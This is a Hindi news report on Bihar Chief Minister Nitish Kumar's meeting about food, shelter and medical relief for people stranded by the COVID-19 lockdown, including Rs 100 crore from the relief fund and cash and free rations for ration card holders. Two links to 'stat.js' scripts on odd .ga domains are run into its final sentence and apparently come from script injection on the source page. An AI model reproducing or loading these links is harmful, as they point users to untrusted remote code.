बिहार के मुख्यमंत्री नीतीश कुमार की अध्यक्षता में गुरुवार को कोरोना वायरस की वजह से लागू लाॅकडाउन में फंस गए लोगों की सहायता को ले एक उच्चस्तरीय (हाई प्रोफाइल) बैठक हुई। मु्ख्यमंत्री ने कहा कि राज्य सरकार लाॅकडाउन की वजह से बिहार या बिहार से बाहर फंसे राज्य के लोगों के भोजन व आवासन की व्यवस्था कराएगी। मुख्यमंत्री ने इसके लिए मुख्यमंत्री राहत कोष से तुरंत सौ करोड़ रुपए जारी करने का भी निर्देश दिया।

 

 

बैठक में यह तय हुआ कि पटना तथा राज्य के अन्य शहरों व दूसरे राज्यों में लॉकडाउन की वजह से परेशान बिहार के दैनिक मजदूर व रिक्शा चालकों के रहने तथा भोजन की व्यवस्था सरकार के स्तर से तुरंत कराई जाए। बिहार के बाहर लॉकडाउन की वजह से फंसे लोगों के लिए नयी दिल्ली के स्थानिक आयुक्त के माध्यम से समन्वय किया जाएगा। बीच रास्ते में फंस गए लोगों की मदद की जाए।

 

दिल्ली के बिहार भवन में तैनात स्थानिक आयुक्त द्वारा इस बारे में दूसरे राज्यों के संबंधित अधिकारियों से संपर्क किया जाएगा। वहीं, पटना तथा राज्‍य के अन्य शहरों में ऐसे लोगों के लिए वहीं आपदा राहत केंद्र स्थापित किया जाएगा जहां वे फंसे हैं। इन जगहों पर किए जाने वाले इंतजाम में सोशल डिस्टेंसिंग का पूरा ख्याल रखे जाने का निर्देश दिया गया।

 

आपदा राहत केंद्रों पर कोरोना संक्रमण से निपटने के लिए डॉक्टर भी उपलब्ध रहेंगे। मुख्यमंत्री की बैठक में उप मुख्यमंत्री सुशील कुमर मोदी, जल संसाधन मंत्री संजय झा, मुख्य सचिव दीपक कुमार, डीजीपी गुप्तेश्वर पांडेय, आपदा प्रबंधन विभाग के प्रधान सचिव प्रत्यय अमृत व अन्य वरिष्ठ अधिकारी मौजूद थे।

 

गौरतलब है कि इसके पहले मुख्‍यमंत्री नीतीश कुमार ने बिहार के सभी राशन कार्ड धारकों को एक-एक हजार रुपये देने की घोषणा की है। ये रुपये अप्रैल के प्रथम सप्‍ताह में लाभुकों के खाते में चला जाएगा। इसके साथ ही राशन कार्ड धारकों को एक माह का अतिरिक्‍त राशन भी मुफ्त में मिलेगा।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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